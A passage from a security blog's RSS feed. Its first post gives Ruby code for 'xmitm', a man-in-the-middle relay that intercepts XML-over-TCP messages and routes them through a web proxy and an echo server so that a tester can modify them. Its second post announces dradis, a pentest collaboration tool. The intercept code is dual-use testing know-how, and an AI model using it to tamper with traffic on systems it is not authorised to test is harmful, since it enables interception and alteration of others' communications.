<p><center><img src="/data/img/xmitm_02.jpg" height="250" width="393"  alt="xmitm sits between client and server and intercepts the communication"/></center></p>
<p>Once this is done, our <em>attack</em> will need three elements:</p>
<ul>
<li>the <strong>xmitm</strong> script.</li>
<li>an external web proxy tool.</li>
<li>a dummy web server.</li>
</ul>
<p>The script will intercept the connection and send the data to the proxy. We need the dummy server (the body of the response will be the body of the request) to close the loop with the proxy (<del>I will add some nice graphs to clarify this soon</del>).</p>
<p><center><img src="/data/img/xmitm_03.jpg" width="469" height="293" alt="The original message is passed through the proxy to let the user modify it."/></center></p>
<p>The original XML message is encapsulated in an HTTP request and passed through the proxy. The user can inspect and modify the message using a standard web proxy tool. The request is then forwared to a dummy <strong>*echo*</strong> web server that replies with the same payload that was requested. The script can extract the modified payload and forward it to the server.</p>
<p>The same process is applied to incoming messages.</p>
<p>Below is the main body of the script (you can also grab the <a href="/data/code/ruby/xmitm.rb">code</a>):-</p>
<div class="hl-surround" style="height:280px;"><div class="hl-main"><pre><span class="hl-comment"># create a server that accepts connections from the client
</span><span class="hl-identifier">server</span><span class="hl-default"> = </span><span class="hl-identifier">TCPServer</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-var">$local_host</span><span class="hl-code">, </span><span class="hl-var">$local_port</span><span class="hl-brackets">)

</span><span class="hl-reserved">while</span><span class="hl-brackets">(</span><span class="hl-identifier">local</span><span class="hl-code"> = </span><span class="hl-identifier">server</span><span class="hl-code">.</span><span class="hl-identifier">accept </span><span class="hl-brackets">) </span><span class="hl-reserved">do
  </span><span class="hl-comment"># everytime we accept a connection for the client, we open a connection
  # with the server to stablish the dialog.
  </span><span class="hl-identifier">remote</span><span class="hl-default"> = </span><span class="hl-identifier">TCPSocket</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-var">$remote_host</span><span class="hl-code">, </span><span class="hl-var">$remote_port</span><span class="hl-brackets">)
  
  </span><span class="hl-comment"># if one of the ends of the communication closes the socket, we
  # toggle this flag
  </span><span class="hl-identifier">alive</span><span class="hl-default"> = </span><span class="hl-reserved">true
    
  while </span><span class="hl-identifier">alive </span><span class="hl-reserved">do
    </span><span class="hl-comment"># see the explanation below
    </span><span class="hl-identifier">result</span><span class="hl-default"> = </span><span class="hl-identifier">select</span><span class="hl-brackets">([</span><span class="hl-identifier">local</span><span class="hl-code">, </span><span class="hl-identifier">remote</span><span class="hl-brackets">]</span><span class="hl-code">, </span><span class="hl-reserved">nil</span><span class="hl-code">, </span><span class="hl-reserved">nil</span><span class="hl-brackets">)
  
    </span><span class="hl-reserved">if </span><span class="hl-identifier">result</span><span class="hl-default"> != </span><span class="hl-reserved">nil then
      for </span><span class="hl-identifier">socket </span><span class="hl-reserved">in </span><span class="hl-identifier">result</span><span class="hl-brackets">[</span><span class="hl-number">0</span><span class="hl-brackets">]

        </span><span class="hl-comment"># detect if one end of the connection is closed and
        # close the other end
        </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">socket</span><span class="hl-code">.</span><span class="hl-identifier">eof</span><span class="hl-code">?</span><span class="hl-brackets">)
          </span><span class="hl-identifier">local</span><span class="hl-default">.</span><span class="hl-identifier">close
          remote</span><span class="hl-default">.</span><span class="hl-identifier">close
          alive</span><span class="hl-default"> = </span><span class="hl-reserved">false
          break
        end
        
        </span><span class="hl-comment"># read the information that one peer wants to send to the other
        </span><span class="hl-identifier">data</span><span class="hl-default"> = </span><span class="hl-identifier">socket</span><span class="hl-default">.</span><span class="hl-identifier">gets</span><span class="hl-brackets">(</span><span class="hl-var">$eom</span><span class="hl-brackets">)

        </span><span class="hl-comment"># encapsulate the data into an HTTP proxy request
        </span><span class="hl-identifier">res</span><span class="hl-default"> = </span><span class="hl-identifier">Net</span><span class="hl-default">::</span><span class="hl-identifier">HTTP</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-var">$proxy_host</span><span class="hl-code">, </span><span class="hl-var">$proxy_port</span><span class="hl-brackets">)</span><span class="hl-default">.</span><span class="hl-identifier">start </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">http</span><span class="hl-default">| 
          </span><span class="hl-identifier">req</span><span class="hl-default"> = </span><span class="hl-identifier">Net</span><span class="hl-default">::</span><span class="hl-identifier">HTTP</span><span class="hl-default">::</span><span class="hl-identifier">Post</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">http://#{$dummyhttp_host}:#{$dummyhttp_port}/</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)
          </span><span class="hl-identifier">req</span><span class="hl-default">.</span><span class="hl-identifier">body</span><span class="hl-default">= </span><span class="hl-identifier">data
          http</span><span class="hl-default">.</span><span class="hl-identifier">request</span><span class="hl-brackets">(</span><span class="hl-identifier">req</span><span class="hl-brackets">)
        </span><span class="hl-reserved">end

        </span><span class="hl-identifier">modified_data</span><span class="hl-default"> = </span><span class="hl-identifier">res</span><span class="hl-default">.</span><span class="hl-identifier">body</span><span class="hl-default">.</span><span class="hl-identifier">chomp

        </span><span class="hl-comment"># send the modified data to the other end of the connection        
        </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">socket</span><span class="hl-code"> == </span><span class="hl-identifier">local</span><span class="hl-brackets">)
          </span><span class="hl-identifier">remote</span><span class="hl-default">.</span><span class="hl-identifier">puts</span><span class="hl-brackets">(</span><span class="hl-identifier">modified_data</span><span class="hl-brackets">)
        </span><span class="hl-reserved">else
          </span><span class="hl-identifier">local</span><span class="hl-default">.</span><span class="hl-identifier">puts</span><span class="hl-brackets">(</span><span class="hl-identifier">modified_data</span><span class="hl-brackets">)
        </span><span class="hl-reserved">end
        </span><span class="hl-identifier">socket</span><span class="hl-default">.</span><span class="hl-identifier">flush
      </span><span class="hl-reserved">end
    end
  end
end</span></pre></div></div>
<p>What the script does can be summarized in the following steps:</p>
<ol>
<li>Create a TCP server, listening on the port the client is expecting.</li>
<li>For each connection accepted:
<ul>
<li>Open a connection with the remote server.</li>
<li>Wait until one end of the communication (first the client, then the server, then the client, etc.) has something to transmit.</li>
<li>Grab the XML message.</li>
<li>Put that message as a payload of a new <a href="http://www.ruby-doc.org/stdlib/libdoc/net/http/rdoc/classes/Net/HTTP.html">Net::HTTP::Post</a> request.</li>
<li>Send the request to the external web proxy.</li>
<li>Grab the body of the response given by the proxy (already modified by the user using the external proxy).</li>
<li>Send the modified request to the other end of the line.</li>
</ul>
</li>
</ol>
<p>The most interesting piece of the code is the one regarding <a href="http://ruby-doc.org/docs/ProgrammingRuby/html/ref_m_kernel.html#Kernel.select">Kernel#select</a> function that waits for data to become available from input/output devices. </p>
<p>A note regarding the specifics of the protocol we were dealing with, each peer ends its messages using a special character (a <code>NULL</code> byte), that caracter is defined in the <code>$eom</code> variable and the script keeps reading the socket until that <em>end of message</em> character is read.</p>
<p>The last piece of the puzzle is the dummy HTTP server. I coded two flavours: a <a href="/data/code/ruby/webrick.rb">ruby version</a> and a <a href="/data/code/java/SimpleHTTPServer.java">java version</a> (<del>not yet available for download</del> based on the <a href="http://www.oreilly.com/catalog/javanp2/chapter/ch11.html#53648">SingleFileHTTPServer example</a>). You can pick your choice. Here is the ruby one:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">require </span><span class="hl-quotes">'</span><span class="hl-string">webrick</span><span class="hl-quotes">'

</span><span class="hl-identifier">include WEBrick

</span><span class="hl-comment"># create the server, no output, disable logging
</span><span class="hl-identifier">s</span><span class="hl-default"> = </span><span class="hl-identifier">HTTPServer</span><span class="hl-default">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-code">
  :</span><span class="hl-identifier">Port</span><span class="hl-code"> =&gt; </span><span class="hl-number">2000</span><span class="hl-code">,
  :</span><span class="hl-identifier">Logger</span><span class="hl-code"> =&gt; </span><span class="hl-identifier">Log</span><span class="hl-code">.</span><span class="hl-identifier">new</span><span class="hl-brackets">(</span><span class="hl-reserved">nil</span><span class="hl-code">, </span><span class="hl-identifier">BasicLog</span><span class="hl-code">::</span><span class="hl-identifier">FATAL</span><span class="hl-brackets">)</span><span class="hl-code">,
  :</span><span class="hl-identifier">AccessLog</span><span class="hl-code"> =&gt; </span><span class="hl-brackets">[]  )

</span><span class="hl-comment"># the *echo* functionality
</span><span class="hl-identifier">s</span><span class="hl-default">.</span><span class="hl-identifier">mount_proc</span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">/</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">) </span><span class="hl-reserved">do</span><span class="hl-default"> |</span><span class="hl-identifier">req</span><span class="hl-default">, </span><span class="hl-identifier">res</span><span class="hl-default">|
  </span><span class="hl-identifier">res</span><span class="hl-default">.</span><span class="hl-identifier">body</span><span class="hl-default"> = </span><span class="hl-identifier">req</span><span class="hl-default">.</span><span class="hl-identifier">body
  res</span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">Content-Type</span><span class="hl-quotes">'</span><span class="hl-brackets">]</span><span class="hl-default"> = </span><span class="hl-identifier">req</span><span class="hl-brackets">[</span><span class="hl-quotes">'</span><span class="hl-string">Content-Type</span><span class="hl-quotes">'</span><span class="hl-brackets">]
</span><span class="hl-reserved">end

</span><span class="hl-comment"># clean tear down
</span><span class="hl-identifier">trap</span><span class="hl-brackets">(</span><span class="hl-quotes">'</span><span class="hl-string">INT</span><span class="hl-quotes">'</span><span class="hl-brackets">)</span><span class="hl-default"> { </span><span class="hl-identifier">s</span><span class="hl-default">.</span><span class="hl-identifier">shutdown</span><span class="hl-default"> }

</span><span class="hl-identifier">s</span><span class="hl-default">.</span><span class="hl-identifier">start</span></pre></div></div>
<p>And this completes the XML protocol man-in-the-middle <acronym title="Do It Yourself">DIY</acronym> kit. Hope you find it useful. <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=38&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/shell-script/xml-man-in-the-middle-xmitm/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>dradis</title>
		<link>http://weblog.nomejortu.com/ruby/dradis</link>
		<comments>http://weblog.nomejortu.com/ruby/dradis#comments</comments>
		<pubDate>Tue, 11 Dec 2007 20:37:08 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=33</guid>
		<description><![CDATA[dradis is a tool for sharing information during a pentest. If you are part of a team of testers working against the same set of targets, you will need to comunicate with each other. The most efficient this communication the more chances of a successful breach you will have.

While plenty of tools exist to help [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://dradis.nomejortu.com/">dradis</a> is a tool for sharing information during a pentest. If you are part of a team of testers working against the same set of targets, you will need to comunicate with each other. The most efficient this communication the more chances of a successful breach you will have.<br />
<span id="more-33"></span><br />
While plenty of tools exist to help in the different stages of the test (information gathering, discovery, exploitation, etc.) not so many exist to share interesting information captured.  <a href="http://dradis.nomejortu.com/">dradis</a> is a tool to help the team to look at the big picture. Each member of the team will add her findings to the common information repository and the tool will share the newly added information with the rest of the team.</p>
<p><img src="/data/img/dradis_01.png" title="dradis main window"/></p>
<p> <a href="http://dradis.nomejortu.com/">dradis</a> is written in ruby and combines various technologies/libraries. For the server side it uses the  <a href="http://www.rubyonrails.org/">Ruby on Rails</a> (RoR) <acronym title="Model View Controller">MVC</acronym> framework, for the client plain ruby and also the <a href="http://trolltech.com/products/qt/">Qt library</a>. The <a href="http://dradis.nomejortu.com/documentation.html">documentation</a> page contains useful information on the architecture, instalation process, etc.</p>
<p>It was the development of  <a href="http://dradis.nomejortu.com/">dradis</a> that lead me to write most of my <a href="/category/ruby">ruby related posts</a> since last summer. It has been really nice to spend time developing it and I have learned lots of interesting stuff. </p>
<p><a href="http://dradis.nomejortu.com/">dradis</a> is also my first serious contribution to the security community and I am really excited to see what kind of feedback I get.</p>
<p>Before you <a href="http://dradis.nomejortu.com/download.html">download</a> it, I recommend you to have a look at the &#8220;<em><a href="http://dradis.nomejortu.com/slides/overview.pdf">dradis, an overview</a></em>&#8221; set of slides. You may also find useful two <a href="http://dradis.nomejortu.com/demo.html">flash videos</a> I created to show what <a href="http://dradis.nomejortu.com/">dradis</a> is capable of:</p>
<ul>
<li><strong>intro</strong>: This video shows how the information is shared between the clients: you add new information from the command line interface and the graphical interface is notified. You can have different clients running different interfaces, they will all share the same information. <a href="http://dradis.nomejortu.com/videos/video1.html">Play video</a>.</li>
<li><strong>graphical user interface</strong>: Learn what the different elements of the graphical interface are, how to perform basic tasks and how to get help on <a href="http://dradis.nomejortu.com/">dradis</a> commands. <a href="http://dradis.nomejortu.com/videos/video2.html">Play video</a>.</li>
</ul>
<p>Enjoy, and let me know about your toughts on <a href="http://dradis.nomejortu.com/">dradis</a>. Does it look interesting? Have you found it useful? Will it fit in your company way of pentesting?</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=33&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/dradis/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
